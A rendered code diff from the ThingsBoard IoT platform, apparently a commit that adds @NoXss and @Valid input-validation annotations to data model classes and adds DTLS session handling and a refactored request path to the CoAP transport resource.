@@ -29,8 +32,11 @@ public class Asset extends SearchTextBasedWithAdditionalInfo<AssetId> implements @@ -29,8 +32,11 @@ public class Asset extends SearchTextBasedWithAdditionalInfo<AssetId> implements
29 32
30 private TenantId tenantId; 33 private TenantId tenantId;
31 private CustomerId customerId; 34 private CustomerId customerId;
  35 + @NoXss
32 private String name; 36 private String name;
  37 + @NoXss
33 private String type; 38 private String type;
  39 + @NoXss
34 private String label; 40 private String label;
35 41
36 public Asset() { 42 public Asset() {
@@ -17,15 +17,15 @@ package org.thingsboard.server.common.data.device.profile; @@ -17,15 +17,15 @@ package org.thingsboard.server.common.data.device.profile;
17 17
18 import com.fasterxml.jackson.annotation.JsonIgnoreProperties; 18 import com.fasterxml.jackson.annotation.JsonIgnoreProperties;
19 import lombok.Data; 19 import lombok.Data;
20 -import org.thingsboard.server.common.data.query.KeyFilter;  
21 20
  21 +import javax.validation.Valid;
22 import java.util.List; 22 import java.util.List;
23 -import java.util.concurrent.TimeUnit;  
24 23
25 @Data 24 @Data
26 @JsonIgnoreProperties(ignoreUnknown = true) 25 @JsonIgnoreProperties(ignoreUnknown = true)
27 public class AlarmCondition { 26 public class AlarmCondition {
28 27
  28 + @Valid
29 private List<AlarmConditionFilter> condition; 29 private List<AlarmConditionFilter> condition;
30 private AlarmConditionSpec spec; 30 private AlarmConditionSpec spec;
31 31
@@ -18,13 +18,19 @@ package org.thingsboard.server.common.data.device.profile; @@ -18,13 +18,19 @@ package org.thingsboard.server.common.data.device.profile;
18 import lombok.Data; 18 import lombok.Data;
19 import org.thingsboard.server.common.data.query.EntityKeyValueType; 19 import org.thingsboard.server.common.data.query.EntityKeyValueType;
20 import org.thingsboard.server.common.data.query.KeyFilterPredicate; 20 import org.thingsboard.server.common.data.query.KeyFilterPredicate;
  21 +import org.thingsboard.server.common.data.validation.NoXss;
  22 +
  23 +import javax.validation.Valid;
21 24
22 @Data 25 @Data
23 public class AlarmConditionFilter { 26 public class AlarmConditionFilter {
24 27
  28 + @Valid
25 private AlarmConditionFilterKey key; 29 private AlarmConditionFilterKey key;
26 private EntityKeyValueType valueType; 30 private EntityKeyValueType valueType;
  31 + @NoXss
27 private Object value; 32 private Object value;
  33 + @Valid
28 private KeyFilterPredicate predicate; 34 private KeyFilterPredicate predicate;
29 35
30 } 36 }
@@ -16,11 +16,13 @@ @@ -16,11 +16,13 @@
16 package org.thingsboard.server.common.data.device.profile; 16 package org.thingsboard.server.common.data.device.profile;
17 17
18 import lombok.Data; 18 import lombok.Data;
  19 +import org.thingsboard.server.common.data.validation.NoXss;
19 20
20 @Data 21 @Data
21 public class AlarmConditionFilterKey { 22 public class AlarmConditionFilterKey {
22 23
23 private final AlarmConditionKeyType type; 24 private final AlarmConditionKeyType type;
  25 + @NoXss
24 private final String key; 26 private final String key;
25 27
26 } 28 }
@@ -16,13 +16,18 @@ @@ -16,13 +16,18 @@
16 package org.thingsboard.server.common.data.device.profile; 16 package org.thingsboard.server.common.data.device.profile;
17 17
18 import lombok.Data; 18 import lombok.Data;
  19 +import org.thingsboard.server.common.data.validation.NoXss;
  20 +
  21 +import javax.validation.Valid;
19 22
20 @Data 23 @Data
21 public class AlarmRule { 24 public class AlarmRule {
22 25
  26 + @Valid
23 private AlarmCondition condition; 27 private AlarmCondition condition;
24 private AlarmSchedule schedule; 28 private AlarmSchedule schedule;
25 // Advanced 29 // Advanced
  30 + @NoXss
26 private String alarmDetails; 31 private String alarmDetails;
27 32
28 } 33 }
@@ -17,7 +17,9 @@ package org.thingsboard.server.common.data.device.profile; @@ -17,7 +17,9 @@ package org.thingsboard.server.common.data.device.profile;
17 17
18 import lombok.Data; 18 import lombok.Data;
19 import org.thingsboard.server.common.data.alarm.AlarmSeverity; 19 import org.thingsboard.server.common.data.alarm.AlarmSeverity;
  20 +import org.thingsboard.server.common.data.validation.NoXss;
20 21
  22 +import javax.validation.Valid;
21 import java.util.List; 23 import java.util.List;
22 import java.util.TreeMap; 24 import java.util.TreeMap;
23 25
@@ -25,9 +27,12 @@ import java.util.TreeMap; @@ -25,9 +27,12 @@ import java.util.TreeMap;
25 public class DeviceProfileAlarm { 27 public class DeviceProfileAlarm {
26 28
27 private String id; 29 private String id;
  30 + @NoXss
28 private String alarmType; 31 private String alarmType;
29 32
  33 + @Valid
30 private TreeMap<AlarmSeverity, AlarmRule> createRules; 34 private TreeMap<AlarmSeverity, AlarmRule> createRules;
  35 + @Valid
31 private AlarmRule clearRule; 36 private AlarmRule clearRule;
32 37
33 // Hidden in advanced settings 38 // Hidden in advanced settings
@@ -17,6 +17,7 @@ package org.thingsboard.server.common.data.device.profile; @@ -17,6 +17,7 @@ package org.thingsboard.server.common.data.device.profile;
17 17
18 import lombok.Data; 18 import lombok.Data;
19 19
  20 +import javax.validation.Valid;
20 import java.util.List; 21 import java.util.List;
21 22
22 @Data 23 @Data
@@ -25,6 +26,7 @@ public class DeviceProfileData { @@ -25,6 +26,7 @@ public class DeviceProfileData {
25 private DeviceProfileConfiguration configuration; 26 private DeviceProfileConfiguration configuration;
26 private DeviceProfileTransportConfiguration transportConfiguration; 27 private DeviceProfileTransportConfiguration transportConfiguration;
27 private DeviceProfileProvisionConfiguration provisionConfiguration; 28 private DeviceProfileProvisionConfiguration provisionConfiguration;
  29 + @Valid
28 private List<DeviceProfileAlarm> alarms; 30 private List<DeviceProfileAlarm> alarms;
29 31
30 } 32 }
@@ -18,6 +18,7 @@ package org.thingsboard.server.common.data.query; @@ -18,6 +18,7 @@ package org.thingsboard.server.common.data.query;
18 import com.fasterxml.jackson.annotation.JsonIgnore; 18 import com.fasterxml.jackson.annotation.JsonIgnore;
19 import lombok.Data; 19 import lombok.Data;
20 import lombok.RequiredArgsConstructor; 20 import lombok.RequiredArgsConstructor;
  21 +import org.thingsboard.server.common.data.validation.NoXss;
21 22
22 @Data 23 @Data
23 @RequiredArgsConstructor 24 @RequiredArgsConstructor
@@ -27,6 +28,7 @@ public class DynamicValue<T> { @@ -27,6 +28,7 @@ public class DynamicValue<T> {
27 private T resolvedValue; 28 private T resolvedValue;
28 29
29 private final DynamicValueSourceType sourceType; 30 private final DynamicValueSourceType sourceType;
  31 + @NoXss
30 private final String sourceAttribute; 32 private final String sourceAttribute;
31 private final boolean inherit; 33 private final boolean inherit;
32 34
@@ -20,15 +20,21 @@ import com.fasterxml.jackson.annotation.JsonIgnore; @@ -20,15 +20,21 @@ import com.fasterxml.jackson.annotation.JsonIgnore;
20 import com.fasterxml.jackson.annotation.JsonProperty; 20 import com.fasterxml.jackson.annotation.JsonProperty;
21 import lombok.Data; 21 import lombok.Data;
22 import lombok.Getter; 22 import lombok.Getter;
  23 +import org.thingsboard.server.common.data.validation.NoXss;
  24 +
  25 +import javax.validation.Valid;
23 26
24 @Data 27 @Data
25 public class FilterPredicateValue<T> { 28 public class FilterPredicateValue<T> {
26 29
27 @Getter 30 @Getter
  31 + @NoXss
28 private final T defaultValue; 32 private final T defaultValue;
29 @Getter 33 @Getter
  34 + @NoXss
30 private final T userValue; 35 private final T userValue;
31 @Getter 36 @Getter
  37 + @Valid
32 private final DynamicValue<T> dynamicValue; 38 private final DynamicValue<T> dynamicValue;
33 39
34 public FilterPredicateValue(T defaultValue) { 40 public FilterPredicateValue(T defaultValue) {
@@ -17,10 +17,13 @@ package org.thingsboard.server.common.data.query; @@ -17,10 +17,13 @@ package org.thingsboard.server.common.data.query;
17 17
18 import lombok.Data; 18 import lombok.Data;
19 19
  20 +import javax.validation.Valid;
  21 +
20 @Data 22 @Data
21 public class StringFilterPredicate implements SimpleKeyFilterPredicate<String> { 23 public class StringFilterPredicate implements SimpleKeyFilterPredicate<String> {
22 24
23 private StringOperation operation; 25 private StringOperation operation;
  26 + @Valid
24 private FilterPredicateValue<String> value; 27 private FilterPredicateValue<String> value;
25 private boolean ignoreCase; 28 private boolean ignoreCase;
26 29
@@ -26,6 +26,7 @@ import org.thingsboard.server.common.data.SearchTextBasedWithAdditionalInfo; @@ -26,6 +26,7 @@ import org.thingsboard.server.common.data.SearchTextBasedWithAdditionalInfo;
26 import org.thingsboard.server.common.data.id.RuleChainId; 26 import org.thingsboard.server.common.data.id.RuleChainId;
27 import org.thingsboard.server.common.data.id.RuleNodeId; 27 import org.thingsboard.server.common.data.id.RuleNodeId;
28 import org.thingsboard.server.common.data.id.TenantId; 28 import org.thingsboard.server.common.data.id.TenantId;
  29 +import org.thingsboard.server.common.data.validation.NoXss;
29 30
30 @Data 31 @Data
31 @EqualsAndHashCode(callSuper = true) 32 @EqualsAndHashCode(callSuper = true)
@@ -35,6 +36,7 @@ public class RuleChain extends SearchTextBasedWithAdditionalInfo<RuleChainId> im @@ -35,6 +36,7 @@ public class RuleChain extends SearchTextBasedWithAdditionalInfo<RuleChainId> im
35 private static final long serialVersionUID = -5656679015121935465L; 36 private static final long serialVersionUID = -5656679015121935465L;
36 37
37 private TenantId tenantId; 38 private TenantId tenantId;
  39 + @NoXss
38 private String name; 40 private String name;
39 private RuleNodeId firstRuleNodeId; 41 private RuleNodeId firstRuleNodeId;
40 private boolean root; 42 private boolean root;
  1 +/**
  2 + * Copyright © 2016-2021 The Thingsboard Authors
  3 + *
  4 + * Licensed under the Apache License, Version 2.0 (the "License");
  5 + * you may not use this file except in compliance with the License.
  6 + * You may obtain a copy of the License at
  7 + *
  8 + * http://www.apache.org/licenses/LICENSE-2.0
  9 + *
  10 + * Unless required by applicable law or agreed to in writing, software
  11 + * distributed under the License is distributed on an "AS IS" BASIS,
  12 + * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
  13 + * See the License for the specific language governing permissions and
  14 + * limitations under the License.
  15 + */
  16 +package org.thingsboard.server.common.data.validation;
  17 +
  18 +import javax.validation.Constraint;
  19 +import javax.validation.Payload;
  20 +import java.lang.annotation.ElementType;
  21 +import java.lang.annotation.Retention;
  22 +import java.lang.annotation.RetentionPolicy;
  23 +import java.lang.annotation.Target;
  24 +
  25 +@Retention(RetentionPolicy.RUNTIME)
  26 +@Target(ElementType.FIELD)
  27 +@Constraint(validatedBy = {})
  28 +public @interface NoXss {
  29 + String message() default "field value is malformed";
  30 +
  31 + Class<?>[] groups() default {};
  32 +
  33 + Class<? extends Payload>[] payload() default {};
  34 +}
@@ -45,6 +45,10 @@ @@ -45,6 +45,10 @@
45 <artifactId>californium-core</artifactId> 45 <artifactId>californium-core</artifactId>
46 </dependency> 46 </dependency>
47 <dependency> 47 <dependency>
  48 + <groupId>org.eclipse.californium</groupId>
  49 + <artifactId>scandium</artifactId>
  50 + </dependency>
  51 + <dependency>
48 <groupId>org.springframework</groupId> 52 <groupId>org.springframework</groupId>
49 <artifactId>spring-context-support</artifactId> 53 <artifactId>spring-context-support</artifactId>
50 </dependency> 54 </dependency>
@@ -48,6 +48,10 @@ public class CoapTransportContext extends TransportContext { @@ -48,6 +48,10 @@ public class CoapTransportContext extends TransportContext {
48 private Long timeout; 48 private Long timeout;
49 49
50 @Getter 50 @Getter
  51 + @Autowired(required = false)
  52 + private TbCoapDtlsSettings dtlsSettings;
  53 +
  54 + @Getter
51 @Autowired 55 @Autowired
52 private JsonCoapAdaptor jsonCoapAdaptor; 56 private JsonCoapAdaptor jsonCoapAdaptor;
53 57
@@ -27,6 +27,7 @@ import org.eclipse.californium.core.observe.ObserveRelation; @@ -27,6 +27,7 @@ import org.eclipse.californium.core.observe.ObserveRelation;
27 import org.eclipse.californium.core.server.resources.CoapExchange; 27 import org.eclipse.californium.core.server.resources.CoapExchange;
28 import org.eclipse.californium.core.server.resources.Resource; 28 import org.eclipse.californium.core.server.resources.Resource;
29 import org.eclipse.californium.core.server.resources.ResourceObserver; 29 import org.eclipse.californium.core.server.resources.ResourceObserver;
  30 +import org.springframework.util.StringUtils;
30 import org.thingsboard.server.common.data.DataConstants; 31 import org.thingsboard.server.common.data.DataConstants;
31 import org.thingsboard.server.common.data.DeviceProfile; 32 import org.thingsboard.server.common.data.DeviceProfile;
32 import org.thingsboard.server.common.data.DeviceTransportType; 33 import org.thingsboard.server.common.data.DeviceTransportType;
@@ -63,15 +64,22 @@ public class CoapTransportResource extends AbstractCoapTransportResource { @@ -63,15 +64,22 @@ public class CoapTransportResource extends AbstractCoapTransportResource {
63 private static final int FEATURE_TYPE_POSITION = 4; 64 private static final int FEATURE_TYPE_POSITION = 4;
64 private static final int REQUEST_ID_POSITION = 5; 65 private static final int REQUEST_ID_POSITION = 5;
65 66
  67 + private static final int FEATURE_TYPE_POSITION_CERTIFICATE_REQUEST = 3;
  68 + private static final int REQUEST_ID_POSITION_CERTIFICATE_REQUEST = 4;
  69 + private static final String DTLS_SESSION_ID_KEY = "DTLS_SESSION_ID";
  70 +
66 private final ConcurrentMap<String, TransportProtos.SessionInfoProto> tokenToSessionIdMap = new ConcurrentHashMap<>(); 71 private final ConcurrentMap<String, TransportProtos.SessionInfoProto> tokenToSessionIdMap = new ConcurrentHashMap<>();
67 private final ConcurrentMap<String, AtomicInteger> tokenToNotificationCounterMap = new ConcurrentHashMap<>(); 72 private final ConcurrentMap<String, AtomicInteger> tokenToNotificationCounterMap = new ConcurrentHashMap<>();
68 private final Set<UUID> rpcSubscriptions = ConcurrentHashMap.newKeySet(); 73 private final Set<UUID> rpcSubscriptions = ConcurrentHashMap.newKeySet();
69 private final Set<UUID> attributeSubscriptions = ConcurrentHashMap.newKeySet(); 74 private final Set<UUID> attributeSubscriptions = ConcurrentHashMap.newKeySet();
70 75
71 - public CoapTransportResource(CoapTransportContext coapTransportContext, String name) { 76 + private ConcurrentMap<String, TbCoapDtlsSessionInfo> dtlsSessionIdMap;
  77 +
  78 + public CoapTransportResource(CoapTransportContext coapTransportContext, ConcurrentMap<String, TbCoapDtlsSessionInfo> dtlsSessionIdMap, String name) {
72 super(coapTransportContext, name); 79 super(coapTransportContext, name);
73 this.setObservable(true); // enable observing 80 this.setObservable(true); // enable observing
74 this.addObserver(new CoapResourceObserver()); 81 this.addObserver(new CoapResourceObserver());
  82 + this.dtlsSessionIdMap = dtlsSessionIdMap;
75 // this.setObservable(false); // disable observing 83 // this.setObservable(false); // disable observing
76 // this.setObserveType(CoAP.Type.CON); // configure the notification type to CONs 84 // this.setObserveType(CoAP.Type.CON); // configure the notification type to CONs
77 // this.getAttributes().setObservable(); // mark observable in the Link-Format 85 // this.getAttributes().setObservable(); // mark observable in the Link-Format
@@ -187,107 +195,132 @@ public class CoapTransportResource extends AbstractCoapTransportResource { @@ -187,107 +195,132 @@ public class CoapTransportResource extends AbstractCoapTransportResource {
187 Exchange advanced = exchange.advanced(); 195 Exchange advanced = exchange.advanced();
188 Request request = advanced.getRequest(); 196 Request request = advanced.getRequest();
189 197
  198 + String dtlsSessionIdStr = request.getSourceContext().get(DTLS_SESSION_ID_KEY);
  199 + if (!StringUtils.isEmpty(dtlsSessionIdStr)) {
  200 + if (dtlsSessionIdMap != null) {
  201 + TbCoapDtlsSessionInfo tbCoapDtlsSessionInfo = dtlsSessionIdMap
  202 + .computeIfPresent(dtlsSessionIdStr, (dtlsSessionId, dtlsSessionInfo) -> {
  203 + dtlsSessionInfo.setLastActivityTime(System.currentTimeMillis());
  204 + return dtlsSessionInfo;
  205 + });
  206 + if (tbCoapDtlsSessionInfo != null) {
  207 + processRequest(exchange, type, request, tbCoapDtlsSessionInfo.getSessionInfoProto(), tbCoapDtlsSessionInfo.getDeviceProfile());
  208 + } else {
  209 + exchange.respond(CoAP.ResponseCode.UNAUTHORIZED);
  210 + }
  211 + } else {
  212 + processAccessTokenRequest(exchange, type, request);
  213 + }
  214 + } else {
  215 + processAccessTokenRequest(exchange, type, request);
  216 + }
  217 + }
  218 +
  219 + private void processAccessTokenRequest(CoapExchange exchange, SessionMsgType type, Request request) {
190 Optional<DeviceTokenCredentials> credentials = decodeCredentials(request); 220 Optional<DeviceTokenCredentials> credentials = decodeCredentials(request);
191 if (credentials.isEmpty()) { 221 if (credentials.isEmpty()) {
192 - exchange.respond(CoAP.ResponseCode.BAD_REQUEST); 222 + exchange.respond(CoAP.ResponseCode.UNAUTHORIZED);
193 return; 223 return;
194 } 224 }
195 -  
196 transportService.process(DeviceTransportType.COAP, TransportProtos.ValidateDeviceTokenRequestMsg.newBuilder().setToken(credentials.get().getCredentialsId()).build(), 225 transportService.process(DeviceTransportType.COAP, TransportProtos.ValidateDeviceTokenRequestMsg.newBuilder().setToken(credentials.get().getCredentialsId()).build(),
197 new CoapDeviceAuthCallback(transportContext, exchange, (sessionInfo, deviceProfile) -> { 226 new CoapDeviceAuthCallback(transportContext, exchange, (sessionInfo, deviceProfile) -> {
198 - UUID sessionId = new UUID(sessionInfo.getSessionIdMSB(), sessionInfo.getSessionIdLSB());  
199 - try {  
200 - TransportConfigurationContainer transportConfigurationContainer = getTransportConfigurationContainer(deviceProfile);  
201 - CoapTransportAdaptor coapTransportAdaptor = getCoapTransportAdaptor(transportConfigurationContainer.isJsonPayload());  
202 - switch (type) {  
203 - case POST_ATTRIBUTES_REQUEST:  
204 - transportService.process(sessionInfo,  
205 - coapTransportAdaptor.convertToPostAttributes(sessionId, request,  
206 - transportConfigurationContainer.getAttributesMsgDescriptor()),  
207 - new CoapOkCallback(exchange, CoAP.ResponseCode.CREATED, CoAP.ResponseCode.INTERNAL_SERVER_ERROR));  
208 - reportActivity(sessionInfo, attributeSubscriptions.contains(sessionId), rpcSubscriptions.contains(sessionId));  
209 - break;  
210 - case POST_TELEMETRY_REQUEST:  
211 - transportService.process(sessionInfo,  
212 - coapTransportAdaptor.convertToPostTelemetry(sessionId, request,  
213 - transportConfigurationContainer.getTelemetryMsgDescriptor()),  
214 - new CoapOkCallback(exchange, CoAP.ResponseCode.CREATED, CoAP.ResponseCode.INTERNAL_SERVER_ERROR));  
215 - reportActivity(sessionInfo, attributeSubscriptions.contains(sessionId), rpcSubscriptions.contains(sessionId));  
216 - break;  
217 - case CLAIM_REQUEST:  
218 - transportService.process(sessionInfo,  
219 - coapTransportAdaptor.convertToClaimDevice(sessionId, request, sessionInfo),  
220 - new CoapOkCallback(exchange, CoAP.ResponseCode.CREATED, CoAP.ResponseCode.INTERNAL_SERVER_ERROR));  
221 - break;  
222 - case SUBSCRIBE_ATTRIBUTES_REQUEST:  
223 - TransportProtos.SessionInfoProto currentAttrSession = tokenToSessionIdMap.get(getTokenFromRequest(request));  
224 - if (currentAttrSession == null) {  
225 - attributeSubscriptions.add(sessionId);  
226 - registerAsyncCoapSession(exchange, sessionInfo, coapTransportAdaptor, getTokenFromRequest(request));  
227 - transportService.process(sessionInfo,  
228 - TransportProtos.SubscribeToAttributeUpdatesMsg.getDefaultInstance(), new CoapNoOpCallback(exchange));  
229 - }  
230 - break;  
231 - case UNSUBSCRIBE_ATTRIBUTES_REQUEST:  
232 - TransportProtos.SessionInfoProto attrSession = lookupAsyncSessionInfo(getTokenFromRequest(request));  
233 - if (attrSession != null) {  
234 - UUID attrSessionId = new UUID(attrSession.getSessionIdMSB(), attrSession.getSessionIdLSB());  
235 - attributeSubscriptions.remove(attrSessionId);  
236 - transportService.process(attrSession,  
237 - TransportProtos.SubscribeToAttributeUpdatesMsg.newBuilder().setUnsubscribe(true).build(),  
238 - new CoapOkCallback(exchange, CoAP.ResponseCode.DELETED, CoAP.ResponseCode.INTERNAL_SERVER_ERROR));  
239 - closeAndDeregister(sessionInfo, sessionId);  
240 - }  
241 - break;  
242 - case SUBSCRIBE_RPC_COMMANDS_REQUEST:  
243 - TransportProtos.SessionInfoProto currentRpcSession = tokenToSessionIdMap.get(getTokenFromRequest(request));  
244 - if (currentRpcSession == null) {  
245 - rpcSubscriptions.add(sessionId);  
246 - registerAsyncCoapSession(exchange, sessionInfo, coapTransportAdaptor, getTokenFromRequest(request));  
247 - transportService.process(sessionInfo,  
248 - TransportProtos.SubscribeToRPCMsg.getDefaultInstance(),  
249 - new CoapNoOpCallback(exchange));  
250 - } else {  
251 - UUID rpcSessionId = new UUID(currentRpcSession.getSessionIdMSB(), currentRpcSession.getSessionIdLSB());  
252 - reportActivity(currentRpcSession, attributeSubscriptions.contains(rpcSessionId), rpcSubscriptions.contains(rpcSessionId));  
253 - }  
254 - break;  
255 - case UNSUBSCRIBE_RPC_COMMANDS_REQUEST:  
256 - TransportProtos.SessionInfoProto rpcSession = lookupAsyncSessionInfo(getTokenFromRequest(request));  
257 - if (rpcSession != null) {  
258 - UUID rpcSessionId = new UUID(rpcSession.getSessionIdMSB(), rpcSession.getSessionIdLSB());  
259 - rpcSubscriptions.remove(rpcSessionId);  
260 - transportService.process(rpcSession,  
261 - TransportProtos.SubscribeToRPCMsg.newBuilder().setUnsubscribe(true).build(),  
262 - new CoapOkCallback(exchange, CoAP.ResponseCode.DELETED, CoAP.ResponseCode.INTERNAL_SERVER_ERROR));  
263 - closeAndDeregister(sessionInfo, sessionId);  
264 - }  
265 - break;  
266 - case TO_DEVICE_RPC_RESPONSE:  
267 - transportService.process(sessionInfo,  
268 - coapTransportAdaptor.convertToDeviceRpcResponse(sessionId, request),  
269 - new CoapOkCallback(exchange, CoAP.ResponseCode.CREATED, CoAP.ResponseCode.INTERNAL_SERVER_ERROR));  
270 - break;  
271 - case TO_SERVER_RPC_REQUEST:  
272 - transportService.registerSyncSession(sessionInfo, getCoapSessionListener(exchange, coapTransportAdaptor), transportContext.getTimeout());  
273 - transportService.process(sessionInfo,  
274 - coapTransportAdaptor.convertToServerRpcRequest(sessionId, request),  
275 - new CoapNoOpCallback(exchange));  
276 - break;  
277 - case GET_ATTRIBUTES_REQUEST:  
278 - transportService.registerSyncSession(sessionInfo, getCoapSessionListener(exchange, coapTransportAdaptor), transportContext.getTimeout());  
279 - transportService.process(sessionInfo,  
280 - coapTransportAdaptor.convertToGetAttributes(sessionId, request),  
281 - new CoapNoOpCallback(exchange));  
282 - break;  
283 - }  
284 - } catch (AdaptorException e) {  
285 - log.trace("[{}] Failed to decode message: ", sessionId, e);  
286 - exchange.respond(CoAP.ResponseCode.BAD_REQUEST);  
287 - } 227 + processRequest(exchange, type, request, sessionInfo, deviceProfile);
288 })); 228 }));
289 } 229 }
290 230
  231 + private void processRequest(CoapExchange exchange, SessionMsgType type, Request request, TransportProtos.SessionInfoProto sessionInfo, DeviceProfile deviceProfile) {
  232 + UUID sessionId = new UUID(sessionInfo.getSessionIdMSB(), sessionInfo.getSessionIdLSB());
  233 + try {
  234 + TransportConfigurationContainer transportConfigurationContainer = getTransportConfigurationContainer(deviceProfile);
  235 + CoapTransportAdaptor coapTransportAdaptor = getCoapTransportAdaptor(transportConfigurationContainer.isJsonPayload());
  236 + switch (type) {
  237 + case POST_ATTRIBUTES_REQUEST:
  238 + transportService.process(sessionInfo,
  239 + coapTransportAdaptor.convertToPostAttributes(sessionId, request,
  240 + transportConfigurationContainer.getAttributesMsgDescriptor()),
  241 + new CoapOkCallback(exchange, CoAP.ResponseCode.CREATED, CoAP.ResponseCode.INTERNAL_SERVER_ERROR));
  242 + reportActivity(sessionInfo, attributeSubscriptions.contains(sessionId), rpcSubscriptions.contains(sessionId));
  243 + break;
  244 + case POST_TELEMETRY_REQUEST:
  245 + transportService.process(sessionInfo,
  246 + coapTransportAdaptor.convertToPostTelemetry(sessionId, request,
  247 + transportConfigurationContainer.getTelemetryMsgDescriptor()),
  248 + new CoapOkCallback(exchange, CoAP.ResponseCode.CREATED, CoAP.ResponseCode.INTERNAL_SERVER_ERROR));
  249 + reportActivity(sessionInfo, attributeSubscriptions.contains(sessionId), rpcSubscriptions.contains(sessionId));
  250 + break;
  251 + case CLAIM_REQUEST:
  252 + transportService.process(sessionInfo,
  253 + coapTransportAdaptor.convertToClaimDevice(sessionId, request, sessionInfo),
  254 + new CoapOkCallback(exchange, CoAP.ResponseCode.CREATED, CoAP.ResponseCode.INTERNAL_SERVER_ERROR));
  255 + break;
  256 + case SUBSCRIBE_ATTRIBUTES_REQUEST:
  257 + TransportProtos.SessionInfoProto currentAttrSession = tokenToSessionIdMap.get(getTokenFromRequest(request));
  258 + if (currentAttrSession == null) {
  259 + attributeSubscriptions.add(sessionId);
  260 + registerAsyncCoapSession(exchange, sessionInfo, coapTransportAdaptor, getTokenFromRequest(request));
  261 + transportService.process(sessionInfo,
  262 + TransportProtos.SubscribeToAttributeUpdatesMsg.getDefaultInstance(), new CoapNoOpCallback(exchange));
  263 + }
  264 + break;
  265 + case UNSUBSCRIBE_ATTRIBUTES_REQUEST:
  266 + TransportProtos.SessionInfoProto attrSession = lookupAsyncSessionInfo(getTokenFromRequest(request));
  267 + if (attrSession != null) {
  268 + UUID attrSessionId = new UUID(attrSession.getSessionIdMSB(), attrSession.getSessionIdLSB());
  269 + attributeSubscriptions.remove(attrSessionId);
  270 + transportService.process(attrSession,
  271 + TransportProtos.SubscribeToAttributeUpdatesMsg.newBuilder().setUnsubscribe(true).build(),
  272 + new CoapOkCallback(exchange, CoAP.ResponseCode.DELETED, CoAP.ResponseCode.INTERNAL_SERVER_ERROR));
  273 + closeAndDeregister(sessionInfo, sessionId);
  274 + }
  275 + break;
  276 + case SUBSCRIBE_RPC_COMMANDS_REQUEST:
  277 + TransportProtos.SessionInfoProto currentRpcSession = tokenToSessionIdMap.get(getTokenFromRequest(request));
  278 + if (currentRpcSession == null) {
  279 + rpcSubscriptions.add(sessionId);
  280 + registerAsyncCoapSession(exchange, sessionInfo, coapTransportAdaptor, getTokenFromRequest(request));
  281 + transportService.process(sessionInfo,
  282 + TransportProtos.SubscribeToRPCMsg.getDefaultInstance(),
  283 + new CoapNoOpCallback(exchange));
  284 + } else {
  285 + UUID rpcSessionId = new UUID(currentRpcSession.getSessionIdMSB(), currentRpcSession.getSessionIdLSB());
  286 + reportActivity(currentRpcSession, attributeSubscriptions.contains(rpcSessionId), rpcSubscriptions.contains(rpcSessionId));
  287 + }
  288 + break;
  289 + case UNSUBSCRIBE_RPC_COMMANDS_REQUEST:
  290 + TransportProtos.SessionInfoProto rpcSession = lookupAsyncSessionInfo(getTokenFromRequest(request));
  291 + if (rpcSession != null) {
  292 + UUID rpcSessionId = new UUID(rpcSession.getSessionIdMSB(), rpcSession.getSessionIdLSB());
  293 + rpcSubscriptions.remove(rpcSessionId);
  294 + transportService.process(rpcSession,
  295 + TransportProtos.SubscribeToRPCMsg.newBuilder().setUnsubscribe(true).build(),
  296 + new CoapOkCallback(exchange, CoAP.ResponseCode.DELETED, CoAP.ResponseCode.INTERNAL_SERVER_ERROR));
  297 + closeAndDeregister(sessionInfo, sessionId);
  298 + }
  299 + break;
  300 + case TO_DEVICE_RPC_RESPONSE:
  301 + transportService.process(sessionInfo,
  302 + coapTransportAdaptor.convertToDeviceRpcResponse(sessionId, request),
  303 + new CoapOkCallback(exchange, CoAP.ResponseCode.CREATED, CoAP.ResponseCode.INTERNAL_SERVER_ERROR));
  304 + break;
  305 + case TO_SERVER_RPC_REQUEST:
  306 + transportService.registerSyncSession(sessionInfo, getCoapSessionListener(exchange, coapTransportAdaptor), transportContext.getTimeout());
  307 + transportService.process(sessionInfo,
  308 + coapTransportAdaptor.convertToServerRpcRequest(sessionId, request),
  309 + new CoapNoOpCallback(exchange));
  310 + break;
  311 + case GET_ATTRIBUTES_REQUEST:
  312 + transportService.registerSyncSession(sessionInfo, getCoapSessionListener(exchange, coapTransportAdaptor), transportContext.getTimeout());
  313 + transportService.process(sessionInfo,
  314 + coapTransportAdaptor.convertToGetAttributes(sessionId, request),
  315 + new CoapNoOpCallback(exchange));
  316 + break;
  317 + }
  318 + } catch (AdaptorException e) {
  319 + log.trace("[{}] Failed to decode message: ", sessionId, e);
  320 + exchange.respond(CoAP.ResponseCode.BAD_REQUEST);
  321 + }
  322 + }
  323 +
291 private TransportProtos.SessionInfoProto lookupAsyncSessionInfo(String token) { 324 private TransportProtos.SessionInfoProto lookupAsyncSessionInfo(String token) {
292 tokenToNotificationCounterMap.remove(token); 325 tokenToNotificationCounterMap.remove(token);
293 return tokenToSessionIdMap.remove(token); 326 return tokenToSessionIdMap.remove(token);
@@ -310,7 +343,7 @@ public class CoapTransportResource extends AbstractCoapTransportResource { @@ -310,7 +343,7 @@ public class CoapTransportResource extends AbstractCoapTransportResource {
310 343
311 private Optional<DeviceTokenCredentials> decodeCredentials(Request request) { 344 private Optional<DeviceTokenCredentials> decodeCredentials(Request request) {
312 List<String> uriPath = request.getOptions().getUriPath(); 345 List<String> uriPath = request.getOptions().getUriPath();
313 - if (uriPath.size() >= ACCESS_TOKEN_POSITION) { 346 + if (uriPath.size() > ACCESS_TOKEN_POSITION) {
314 return Optional.of(new DeviceTokenCredentials(uriPath.get(ACCESS_TOKEN_POSITION - 1))); 347 return Optional.of(new DeviceTokenCredentials(uriPath.get(ACCESS_TOKEN_POSITION - 1)));
315 } else { 348 } else {
316 return Optional.empty(); 349 return Optional.empty();
@@ -322,8 +355,11 @@ public class CoapTransportResource extends AbstractCoapTransportResource { @@ -322,8 +355,11 @@ public class CoapTransportResource extends AbstractCoapTransportResource {
322 try { 355 try {
323 if (uriPath.size() >= FEATURE_TYPE_POSITION) { 356 if (uriPath.size() >= FEATURE_TYPE_POSITION) {
324 return Optional.of(FeatureType.valueOf(uriPath.get(FEATURE_TYPE_POSITION - 1).toUpperCase())); 357 return Optional.of(FeatureType.valueOf(uriPath.get(FEATURE_TYPE_POSITION - 1).toUpperCase()));
325 - } else if (uriPath.size() == 3 && uriPath.contains(DataConstants.PROVISION)) {  
326 - return Optional.of(FeatureType.valueOf(DataConstants.PROVISION.toUpperCase())); 358 + } else if (uriPath.size() >= FEATURE_TYPE_POSITION_CERTIFICATE_REQUEST) {
  359 + if (uriPath.contains(DataConstants.PROVISION)) {
  360 + return Optional.of(FeatureType.valueOf(DataConstants.PROVISION.toUpperCase()));
  361 + }
